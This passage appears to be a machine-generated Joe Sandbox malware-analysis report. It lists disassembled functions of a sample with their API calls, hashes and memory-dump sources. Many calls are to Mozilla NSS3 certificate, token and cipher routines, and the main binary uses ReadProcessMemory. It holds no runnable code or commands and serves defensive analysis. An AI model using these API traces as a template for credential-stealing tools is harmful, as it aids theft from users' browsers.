Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e505b47f17e3ce1a0d4ba3acee2821152cb3ef0a6e6edf77ab9ad691c5180cf4
Instruction ID: a7c3e3d40e902aed0f8bcb0bfbf09af1e14b94c2afe94dd9b0941259f5adc272
Opcode Fuzzy Hash: e505b47f17e3ce1a0d4ba3acee2821152cb3ef0a6e6edf77ab9ad691c5180cf4
Instruction Fuzzy Hash: BD91F5B5E005059FEB00CFA8C880BABB7B5FF54308F258029DD199B741E739E955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CF8DE70 Relevance: 10.7, APIs: 7, Instructions: 224COMMON

Download Yara Rule

APIs

SECITEM_CompareItem_Util.NSS3(FFFFD064,?), ref: 6CF8DFB9
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CF8E029

Part of subcall function 6CF68970: TlsGetValue.KERNEL32(?,00000000,6CF161C4,?,6CF15639,00000000), ref: 6CF68991
Part of subcall function 6CF68970: TlsGetValue.KERNEL32(?,?,?,?,?,6CF15639,00000000), ref: 6CF689AD
Part of subcall function 6CF68970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CF15639,00000000), ref: 6CF689C6
Part of subcall function 6CF68970: PR_WaitCondVar.NSS3 ref: 6CF689F7
Part of subcall function 6CF68970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CF15639,00000000), ref: 6CF68A0C

PR_SetError.NSS3(FFFFD06A,00000000), ref: 6CF8E072
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF8E098
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF8E0A7
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF8E0F1
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF8E10A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Item_Util$CompareCopyValueZfree$CondCriticalEnterErrorSectionUnlockWait
String ID:
API String ID: 1854523011-0
Opcode ID: d2b3004bc5f1b4bb4e0fe9f059664c6117a2a462f496b673304fca11e38919be
Instruction ID: 59d37daf858e3d9e3f55bf250ecf453fab5d106047eb8e1242b9b6babfbd9ed8
Opcode Fuzzy Hash: d2b3004bc5f1b4bb4e0fe9f059664c6117a2a462f496b673304fca11e38919be
Instruction Fuzzy Hash: 0A812B79A06712ABE7108B25DC4079AB7B4BF0131CF044629ED5967B91E731FD68CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF02D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CF02D69

Strings

winUnmapfile2, xrefs: 6CF02F7F
winTruncate1, xrefs: 6CF02EBE
winUnmapfile1, xrefs: 6CF02F55
winTruncate2, xrefs: 6CF02EF8
winSeekFile, xrefs: 6CF02E9C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 09a84bd68088d9912c2120fb280f28460c5aedbbfce7d2d5c376cdf48b4d153e
Instruction ID: b14def08cf6b618b2a741c94873dfc67c3cc6081f8ad67ee9182f8837e13e878
Opcode Fuzzy Hash: 09a84bd68088d9912c2120fb280f28460c5aedbbfce7d2d5c376cdf48b4d153e
Instruction Fuzzy Hash: FB619171B00205AFDB04CF68DC94BAA77B1FF49754F108128E919EB790DB31AD06DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF3DF37
EnterCriticalSection.KERNEL32(?), ref: 6CF3DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF3DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CF3E02B
PR_Unlock.NSS3(?), ref: 6CF3E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF3E090
PR_Unlock.NSS3(?), ref: 6CF3E0AF

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 3b42bc4328fd7d9260a1401ed58a0eac6262b0a48049935b70b7eb9c91ad1e6a
Instruction ID: 471f4186317f106b1cb34246930d3be0491cc6556ffaa6f369e60c0c4bdce80b
Opcode Fuzzy Hash: 3b42bc4328fd7d9260a1401ed58a0eac6262b0a48049935b70b7eb9c91ad1e6a
Instruction Fuzzy Hash: 3851CFB2500610EFEB209F25DC84B5B73B5BF45318F205928E85E57BA1D739E858CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00413BC0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00413BDF
??_U@YAPAXI@Z.MSVCRT ref: 00413C0D

Part of subcall function 00413890: strlen.MSVCRT ref: 004138A1
Part of subcall function 00413890: strlen.MSVCRT ref: 004138C5

VirtualQueryEx.KERNEL32(00413FCD,00000000,?,0000001C), ref: 00413C52
??_V@YAXPAX@Z.MSVCRT ref: 00413D73

Part of subcall function 00413AA0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00413AB8

Strings

@, xrefs: 00413C66
Z>A, xrefs: 00413C38, 00413C3B

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @$Z>A
API String ID: 2950663791-2427737632
Opcode ID: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction ID: 18b3d1c53e1ab9283c7d4f20bb5e0d2682d9205760932c7229ac25ba092b9e39
Opcode Fuzzy Hash: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction Fuzzy Hash: 2851F9B5D00109ABDB04CF98E981AEFB7B5FF88305F108119F919A7340D738AA51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CF3BD1E

Part of subcall function 6CF12F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CF12F0A
Part of subcall function 6CF12F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF12F1D

Part of subcall function 6CF557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CF1B41E,00000000,00000000,?,00000000,?,6CF1B41E,00000000,00000000,?,?), ref: 6CF557E0
Part of subcall function 6CF557D0: free.MOZGLUE(00000000,00000000,00000000,?,?), ref: 6CF55843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF3BD8C

Part of subcall function 6CF6FAB0: free.MOZGLUE(?,-00000001,?,?,6CF0F673,00000000,00000000), ref: 6CF6FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CF3BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CF3BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF3BE3A

Part of subcall function 6CF13E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF13EC2
Part of subcall function 6CF13E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF13ED6
Part of subcall function 6CF13E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF13EEE
Part of subcall function 6CF13E60: PR_CallOnce.NSS3(6D072AA4,6CF712D0), ref: 6CF13F02
Part of subcall function 6CF13E60: PL_FreeArenaPool.NSS3 ref: 6CF13F14
Part of subcall function 6CF13E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF13F27

SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF3BE52

Part of subcall function 6CF12E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CF12CDA,?,00000000), ref: 6CF12E1E
Part of subcall function 6CF12E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CF12E33
Part of subcall function 6CF12E00: TlsGetValue.KERNEL32 ref: 6CF12E4E
Part of subcall function 6CF12E00: EnterCriticalSection.KERNEL32(?), ref: 6CF12E5E
Part of subcall function 6CF12E00: PL_HashTableLookup.NSS3(?), ref: 6CF12E71
Part of subcall function 6CF12E00: PL_HashTableRemove.NSS3(?), ref: 6CF12E84
Part of subcall function 6CF12E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CF12E96
Part of subcall function 6CF12E00: PR_Unlock.NSS3 ref: 6CF12EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF3BE61

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 4626fe515ec68eec862600ca7384f32e6cb683ae7d65001b941ca4fde390baf4
Instruction ID: 3d982dfb568bd3cc34c940861048be64cef02989d845a87288501c3db11c6701
Opcode Fuzzy Hash: 4626fe515ec68eec862600ca7384f32e6cb683ae7d65001b941ca4fde390baf4
Instruction Fuzzy Hash: B241D2B6A00620AFC710DF28DC80BAA77E4EF45718F109568F94D9BB51E731E908CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF5AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CF5AB3E,?,?,?), ref: 6CF5AC35

Part of subcall function 6CF3CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CF3CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CF5AB3E,?,?,?), ref: 6CF5AC55

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CF5AB3E,?,?), ref: 6CF5AC70

Part of subcall function 6CF3E300: TlsGetValue.KERNEL32 ref: 6CF3E33C
Part of subcall function 6CF3E300: EnterCriticalSection.KERNEL32(?), ref: 6CF3E350
Part of subcall function 6CF3E300: PR_Unlock.NSS3(?), ref: 6CF3E5BC
Part of subcall function 6CF3E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CF3E5CA
Part of subcall function 6CF3E300: TlsGetValue.KERNEL32 ref: 6CF3E5F2
Part of subcall function 6CF3E300: EnterCriticalSection.KERNEL32(?), ref: 6CF3E606
Part of subcall function 6CF3E300: PORT_Alloc_Util.NSS3(?), ref: 6CF3E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CF5AC92
PK11_DestroyContext.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF5AB3E), ref: 6CF5ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CF5AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CF5AD2B

Part of subcall function 6CF3F360: TlsGetValue.KERNEL32(00000000,?,6CF5A904,?), ref: 6CF3F38B
Part of subcall function 6CF3F360: EnterCriticalSection.KERNEL32(?,?,?,6CF5A904,?), ref: 6CF3F3A0
Part of subcall function 6CF3F360: PR_Unlock.NSS3(?,?,?,?,6CF5A904,?), ref: 6CF3F3D3

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 87f619a4cca1a84833177357daa6445fbef9f89000319aae4d37c022de5a0ad1
Instruction ID: 6fcf397f3740d37a99a26db453f4f5ac1049101f4bdc7fb2c3641661fe2e3d46
Opcode Fuzzy Hash: 87f619a4cca1a84833177357daa6445fbef9f89000319aae4d37c022de5a0ad1
Instruction Fuzzy Hash: C93149B2E002155FEB008F29DC449BF7BA6AF94318B588128E9299B740EB31DC3587B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF38C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CF38C7C

Part of subcall function 6CFD9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DC6
Part of subcall function 6CFD9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DD1
Part of subcall function 6CFD9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFD9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF38CB0
TlsGetValue.KERNEL32 ref: 6CF38CD1
EnterCriticalSection.KERNEL32(?), ref: 6CF38CE5
PR_Unlock.NSS3(?), ref: 6CF38D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CF38D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF38D93

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 16fd1c55701a1a66ab391e04076833745fcf807ab56a17a0287d56d77b5e4d51
Instruction ID: 9115541ec41ff554d82379293afd99c6763622a1cec1ec4aa3262adf7aba537e
Opcode Fuzzy Hash: 16fd1c55701a1a66ab391e04076833745fcf807ab56a17a0287d56d77b5e4d51
Instruction Fuzzy Hash: 30314672901221BFEB009F68CC40BAAB7B4BF45318F14113BEA1DA7B90D774A924C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF79D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CF79C5B), ref: 6CF79D82

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CF79C5B), ref: 6CF79DA9

Part of subcall function 6CF71340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CF1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF0F599,?,00000000), ref: 6CF7136A
Part of subcall function 6CF71340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CF1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF0F599,?,00000000), ref: 6CF7137E
Part of subcall function 6CF71340: PL_ArenaGrow.NSS3(?,6CF0F599,?,00000000,?,6CF1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF0F599,?), ref: 6CF713CF
Part of subcall function 6CF71340: PR_Unlock.NSS3(?,?,6CF1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF0F599,?,00000000), ref: 6CF7145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CF79C5B), ref: 6CF79DCE

Part of subcall function 6CF71340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CF1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF0F599,?,00000000), ref: 6CF713F0
Part of subcall function 6CF71340: PL_ArenaGrow.NSS3(?,6CF0F599,?,?,?,00000000,00000000,?,6CF1895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CF71445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CF79C5B), ref: 6CF79DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CF79C5B), ref: 6CF79DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CF79C5B), ref: 6CF79E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CF79C5B), ref: 6CF79E91

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

Part of subcall function 6CF71560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CF6FAAB,00000000), ref: 6CF7157E
Part of subcall function 6CF71560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CF6FAAB,00000000), ref: 6CF71592
Part of subcall function 6CF71560: memset.VCRUNTIME140(?,00000000,?), ref: 6CF71600
Part of subcall function 6CF71560: PL_ArenaRelease.NSS3(?,?), ref: 6CF71620
Part of subcall function 6CF71560: PR_Unlock.NSS3(?), ref: 6CF71639

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 0b7a1a1190a399fd8b9b9fef823c118ea89cd402924300395db0aa230d7a37e6
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 7041A6B4501606AFE750DF15E950FA2B7A1FF45348F148129D8184BFA0EB72E938CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CF3DDEC

Part of subcall function 6CF70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF708B4

PK11_DigestBegin.NSS3(00000000), ref: 6CF3DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CF3DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CF3DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CF3DEAE
PK11_DestroyContext.NSS3(00000000,?), ref: 6CF3DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF3DECC

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: a77864b2242d3cf6858f05585c02fc3bc74c58ed6716382f62665738988671b0
Instruction ID: 9e571645113f0f5a5e587b54d868c07f26d8dc325ddfe303b806332e2500c699
Opcode Fuzzy Hash: a77864b2242d3cf6858f05585c02fc3bc74c58ed6716382f62665738988671b0
Instruction Fuzzy Hash: 5331B5B29142347BEB00AF65AC41BFB7AA89F54608F051125ED0DA7741FB31D95887E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CF6D9E4,00000000), ref: 6CF6DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CF6D9E4,00000000), ref: 6CF6DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CF6D9E4,00000000), ref: 6CF6DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CF6DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF6DCAD

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 36c181550188b94c45b574cb16a7bf0ed5cd0cbc5bee3f37631331816828d711
Instruction ID: 12ef4671a3e3e41a779506d8ab1cc4b9658ad56c67eb80c679f4c65775123ef9
Opcode Fuzzy Hash: 36c181550188b94c45b574cb16a7bf0ed5cd0cbc5bee3f37631331816828d711
Instruction Fuzzy Hash: 3A3150B59002449FE750CF1ED884B56B7F8AF5535CF248429E94CCBB01E771E944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CF7CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CF7CD93,?), ref: 6CF7CEEE

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CF7CD93,?), ref: 6CF7CEFC

